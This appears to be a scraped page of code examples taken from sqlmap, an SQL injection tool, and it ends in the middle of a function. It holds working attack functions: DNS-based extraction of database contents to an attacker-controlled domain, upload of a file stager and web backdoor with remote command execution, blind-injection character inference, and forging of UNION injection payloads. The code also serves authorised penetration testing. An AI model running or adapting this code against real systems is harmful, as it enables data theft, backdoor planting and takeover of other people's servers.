def dnsUse(payload, expression):
    """
    Retrieve the output of a SQL query taking advantage of the DNS
    resolution mechanism by making request back to attacker's machine.
    """

    start = time.time()

    retVal = None
    count = 0
    offset = 1

    if conf.dnsName and Backend.getIdentifiedDbms() in (
            DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
        output = hashDBRetrieve(expression, checkConf=True)

        if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
            output = None

        if output is None:
            kb.dnsMode = True

            while True:
                count += 1
                prefix, suffix = (
                    "%s" %
                    randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET)
                    for _ in xrange(2))
                chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms(
                ) in (DBMS.ORACLE, DBMS.MYSQL,
                      DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
                _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(
                    expression)
                nulledCastedField = agent.nullAndCastField(fieldToCastStr)
                nulledCastedField = queries[Backend.getIdentifiedDbms(
                )].substring.query % (nulledCastedField, offset, chunk_length)
                nulledCastedField = agent.hexConvertField(nulledCastedField)
                expressionReplaced = expression.replace(
                    fieldToCastStr, nulledCastedField, 1)

                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(),
                                                  "dns_request",
                                                  PREFIX=prefix,
                                                  QUERY=expressionReplaced,
                                                  SUFFIX=suffix,
                                                  DOMAIN=conf.dnsName)
                expressionUnescaped = unescaper.escape(expressionRequest)

                if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
                    query = agent.prefixQuery("; %s" % expressionUnescaped)
                    query = "%s%s" % (query, queries[
                        Backend.getIdentifiedDbms()].comment.query)
                    forgedPayload = agent.payload(newValue=query)
                else:
                    forgedPayload = safeStringFormat(
                        payload,
                        (expressionUnescaped, randomInt(1), randomInt(3)))

                Request.queryPage(forgedPayload,
                                  content=False,
                                  noteResponseTime=False,
                                  raise404=False)

                _ = conf.dnsServer.pop(prefix, suffix)

                if _:
                    _ = extractRegexResult(
                        "%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
                    _ = decodeHexValue(_)
                    output = (output or "") + _
                    offset += len(_)

                    if len(_) < chunk_length:
                        break
                else:
                    break

            output = decodeHexValue(output) if conf.hexConvert else output

            kb.dnsMode = False

        if output is not None:
            retVal = output

            if kb.dnsTest is not None:
                dataToStdout("[%s] [INFO] %s: %s\r\n" %
                             (time.strftime("%X"), "retrieved" if count > 0
                              else "resumed", safecharencode(output)))

                if count > 0:
                    hashDBWrite(expression, output)

        if not kb.bruteMode:
            debugMsg = "performed %d queries in %.2f seconds" % (
                count, calculateDeltaSeconds(start))
            logger.debug(debugMsg)

    elif conf.dnsName:
        warnMsg = "DNS data exfiltration method through SQL injection "
        warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms(
        )
        singleTimeWarnMessage(warnMsg)

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Example #52
0
File: web.py Project: fooying/w3af
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(),
                                        (" (default)"
                                         if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" %
                            len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = sorted(set(directories))

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH,
                         "backdoor.%s_" % self.webApi))

        stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
        success = False

        for directory in directories:
            self.webStagerFilePath = ntToPosixSlashes(
                os.path.join(directory, stagerName))

            if success:
                break

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                directory = "/%s" % directory
            else:
                directory = directory[2:] if isWindowsDriveLetterPath(
                    directory) else directory

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' technique"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (
                    conf.scheme, conf.hostname, conf.port,
                    directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
                                                     stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                direct=True,
                                                raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload technique
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION technique"
                    logger.info(infoMsg)

                    handle, filename = mkstemp()
                    os.fdopen(handle).close(
                    )  # close low level handle (causing problems later)

                    with open(filename, "w+") as f:
                        _ = decloak(
                            os.path.join(paths.SQLMAP_SHELL_PATH,
                                         "stager.%s_" % self.webApi))
                        _ = _.replace(
                            "WRITABLE_DIR",
                            directory.replace('/', '\\\\')
                            if Backend.isOs(OS.WINDOWS) else directory)
                        f.write(utf8encode(_))

                    self.unionWriteFile(filename,
                                        self.webStagerFilePath,
                                        "text",
                                        forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (
                            conf.scheme, conf.hostname, conf.port,
                            directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(
                            self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                        direct=True,
                                                        raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            # Extra check - required
            if not uploaded:
                self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname,
                                                   conf.port)
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
                                                     stagerName)

                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
                                                direct=True,
                                                raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" not in uplPage:
                    continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(
                    EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(
                    VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(
                    r'input type=hidden name=scriptsdir value="([^"]+)"',
                    uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName,
                                  backdoorDirectory,
                                  content=backdoorContent.replace(
                                      "WRITABLE_DIR",
                                      backdoorDirectory).replace(
                                          "RUNCMD_EXE", _)):
                    self.webUpload(_,
                                   backdoorDirectory,
                                   filepath=os.path.join(
                                       paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
                                                             backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName,
                                      posixToNtSlashes(directory) if
                                      Backend.isOs(OS.WINDOWS) else directory,
                                      content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "
                    getOutput = readInput(message, default="Y")

                    if getOutput in ("y", "Y"):
                        self._webFileInject(backdoorContent, backdoorName,
                                            directory)
                    else:
                        continue

                self.webBackdoorUrl = ntToPosixSlashes(
                    os.path.join(self.webBaseUrl, backdoorName))
                self.webDirectory = directory

            self.webBackdoorFilePath = ntToPosixSlashes(
                os.path.join(directory, backdoorName))

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            success = True

            break
Example #53
0
        def crawlThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                with kb.locks.limit:
                    if threadData.shared.unprocessed:
                        current = threadData.shared.unprocessed.pop()
                        if current in visited:
                            continue
                        elif conf.crawlExclude and re.search(
                                conf.crawlExclude, current):
                            dbgMsg = "skipping '%s'" % current
                            logger.debug(dbgMsg)
                            continue
                        else:
                            visited.add(current)
                    else:
                        break

                content = None
                try:
                    if current:
                        content = Request.getPage(url=current,
                                                  post=post,
                                                  cookie=None,
                                                  crawling=True,
                                                  raise404=False)[0]
                except SqlmapConnectionException as ex:
                    errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(
                        ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)
                except SqlmapSyntaxException:
                    errMsg = "invalid URL detected. skipping '%s'" % current
                    logger.critical(errMsg)
                except _http_client.InvalidURL as ex:
                    errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(
                        ex)
                    errMsg += "URL '%s'" % current
                    logger.critical(errMsg)

                if not kb.threadContinue:
                    break

                if isinstance(content, six.text_type):
                    try:
                        match = re.search(r"(?si)<html[^>]*>(.+)</html>",
                                          content)
                        if match:
                            content = "<html>%s</html>" % match.group(1)

                        soup = BeautifulSoup(content)
                        tags = soup('a')

                        tags += re.finditer(
                            r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)',
                            content)
                        tags += re.finditer(
                            r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']',
                            content)

                        for tag in tags:
                            href = tag.get("href") if hasattr(
                                tag, "get") else tag.group("href")

                            if href:
                                if threadData.lastRedirectURL and threadData.lastRedirectURL[
                                        0] == threadData.lastRequestUID:
                                    current = threadData.lastRedirectURL[1]
                                url = _urllib.parse.urljoin(
                                    current, htmlUnescape(href))

                                # flag to know if we are dealing with the same target host
                                _ = checkSameHost(url, target)

                                if conf.scope:
                                    if not re.search(conf.scope, url, re.I):
                                        continue
                                elif not _:
                                    continue

                                if (extractRegexResult(
                                        r"\A[^?]+\.(?P<result>\w+)(\?|\Z)",
                                        url) or ""
                                    ).lower() not in CRAWL_EXCLUDE_EXTENSIONS:
                                    with kb.locks.value:
                                        threadData.shared.deeper.add(url)
                                        if re.search(
                                                r"(.*?)\?(.+)",
                                                url) and not re.search(
                                                    r"\?(v=)?\d+\Z", url
                                                ) and not re.search(
                                                    r"(?i)\.(js|css)(\?|\Z)",
                                                    url):
                                            threadData.shared.value.add(url)
                    except UnicodeEncodeError:  # for non-HTML files
                        pass
                    except ValueError:  # for non-valid links
                        pass
                    finally:
                        if conf.forms:
                            threadData.shared.formsFound |= len(
                                findPageForms(content, current, False,
                                              True)) > 0

                if conf.verbose in (1, 2):
                    threadData.shared.count += 1
                    status = '%d/%d links visited (%d%%)' % (
                        threadData.shared.count, threadData.shared.length,
                        round(100.0 * threadData.shared.count /
                              threadData.shared.length))
                    dataToStdout(
                        "\r[%s] [INFO] %s" % (time.strftime("%X"), status),
                        True)
Example #54
0
    def getChar(idx,
                charTbl=asciiTbl,
                continuousOrder=True,
                expand=charsetType is None):
        """
        continuousOrder means that distance between each two neighbour's
        numerical values is exactly 1
        """

        result = tryHint(idx)

        if result:
            return result

        originalTbl = list(charTbl)

        if continuousOrder:
            # Used for gradual expanding into unicode charspace
            shiftTable = [5, 4]

        if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
            charTbl.remove(ord('\n'))

        if len(charTbl) == 1:
            forgedPayload = safeStringFormat(
                payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR),
                (expressionUnescaped, idx, charTbl[0]))
            queriesCount[0] += 1
            result = Request.queryPage(forgedPayload,
                                       timeBasedCompare=timeBasedCompare,
                                       raise404=False)

            if result:
                return decodeIntToUnicode(charTbl[0])
            else:
                return None

        maxChar = maxValue = charTbl[-1]
        minChar = minValue = charTbl[0]

        while len(charTbl) != 1:
            position = (len(charTbl) >> 1)
            posValue = charTbl[position]

            if CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(
                    payload, (expressionUnescaped, idx, posValue))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.unescape(
                    markingValue % decodeIntToUnicode(posValue))
                forgedPayload = safeStringFormat(
                    payload, (expressionUnescaped, idx)).replace(
                        markingValue, unescapedCharValue)

            queriesCount[0] += 1
            result = Request.queryPage(forgedPayload,
                                       timeBasedCompare=timeBasedCompare,
                                       raise404=False)

            if result:
                minValue = posValue

                if type(charTbl) != xrange:
                    charTbl = charTbl[position:]
                else:
                    # xrange() - extended virtual charset used for memory/space optimization
                    charTbl = xrange(charTbl[position], charTbl[-1] + 1)
            else:
                maxValue = posValue

                if type(charTbl) != xrange:
                    charTbl = charTbl[:position]
                else:
                    charTbl = xrange(charTbl[0], charTbl[position])

            if len(charTbl) == 1:
                if continuousOrder:
                    if maxValue == 1:
                        return None

                    # Going beyond the original charset
                    elif minValue == maxChar:
                        # If the original charTbl was [0,..,127] new one
                        # will be [128,..,128*16-1] or from 128 to 2047
                        # and instead of making a HUGE list with all the
                        # elements we use a xrange, which is a virtual
                        # list
                        if expand and shiftTable:
                            charTbl = xrange(maxChar + 1,
                                             (maxChar + 1) << shiftTable.pop())
                            originalTbl = list(charTbl)
                            maxChar = maxValue = charTbl[-1]
                            minChar = minValue = charTbl[0]
                        else:
                            return None
                    else:
                        retVal = minValue + 1

                        if retVal in originalTbl or (retVal == ord('\n')
                                                     and CHAR_INFERENCE_MARK
                                                     in payload):
                            if timeBasedCompare and not validateChar(
                                    idx, retVal):
                                errMsg = "invalid character detected. retrying.."
                                logger.error(errMsg)

                                conf.timeSec += 1
                                warnMsg = "adjusting time delay to %d seconds" % conf.timeSec
                                logger.warn(warnMsg)

                                return getChar(idx, originalTbl,
                                               continuousOrder, expand)
                            else:
                                return decodeIntToUnicode(retVal)
                        else:
                            return None
                else:
                    if minValue == maxChar or maxValue == minChar:
                        return None

                    # If we are working with non-continuous elements, set
                    # both minValue and character afterwards are possible
                    # candidates
                    for retVal in (originalTbl[originalTbl.index(minValue)],
                                   originalTbl[originalTbl.index(minValue) +
                                               1]):
                        forgedPayload = safeStringFormat(
                            payload.replace(INFERENCE_GREATER_CHAR,
                                            INFERENCE_EQUALS_CHAR),
                            (expressionUnescaped, idx, retVal))
                        queriesCount[0] += 1
                        result = Request.queryPage(
                            forgedPayload,
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)

                        if result:
                            return decodeIntToUnicode(retVal)

                    return None
Example #55
0
def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(
        "%s%s" % (conf.hexConvert or False, expression),
        checkConf=True)  # as union data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        # Prepare expression with delimiters
        injExpression = unescaper.escape(agent.concatQuery(expression, unpack))

        # Forge the union SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]
        kb.forcePartialUnion = vector[8]
        query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
                                      vector[2], vector[3], vector[4],
                                      vector[5], vector[6], None, limited)
        where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
            6]
        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload,
                                          content=True,
                                          raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        # Parse the returned page to get the exact union-based
        # SQL injection output
        def _(regex):
            return reduce(lambda x, y: x if x is not None else y, (\
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                    if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                    None)

        # Automatically patching last char trimming cases
        if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page
                                                                        or ""):
            warnMsg = "automatically patching output having last char trimmed"
            singleTimeWarnMessage(warnMsg)
            page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

        retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlunescape(retVal).replace("<br>", "\n")

            hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
                        retVal)
        else:
            trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "possible server trimmed output detected "
                warnMsg += "(probably due to its length and/or content): "
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal
Example #56
0
def __unionPosition(comment,
                    place,
                    parameter,
                    value,
                    prefix,
                    suffix,
                    count,
                    where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count,
                                       comment, prefix, suffix, conf.uChar)
        payload = agent.payload(place=place,
                                parameter=parameter,
                                newValue=query,
                                where=where)

        # Perform the request
        page, headers = Request.queryPage(payload,
                                          place=place,
                                          content=True,
                                          raise404=False)
        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or "")

        if content and phrase in content:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, conf.uChar,
                      where)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2,
                                              kb.misc.stop)
                randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(
                    randQueryUnescaped,
                    position,
                    count,
                    comment,
                    prefix,
                    suffix,
                    conf.uChar,
                    multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place,
                                        parameter=parameter,
                                        newValue=query,
                                        where=PAYLOAD.WHERE.NEGATIVE)

                # Perform the request
                page, headers = Request.queryPage(payload,
                                                  place=place,
                                                  content=True,
                                                  raise404=False)
                content = "%s%s".lower() % (
                    page or "",
                    listToStrValue(headers.headers if headers else None) or "")

                if content and (
                    (phrase in content and phrase2 not in content) or
                    (phrase not in content and phrase2 in content)):
                    vector = (position, count, comment, prefix, suffix,
                              conf.uChar, PAYLOAD.WHERE.NEGATIVE)

            break

    return validPayload, vector
Example #57
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        if not kb.absFilePaths:
            message = "do you want sqlmap to further try to "
            message += "provoke the full path disclosure? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)

                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
        path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))

        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
                continue

            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # Fall-back to UNION queries file upload method
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
                        _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

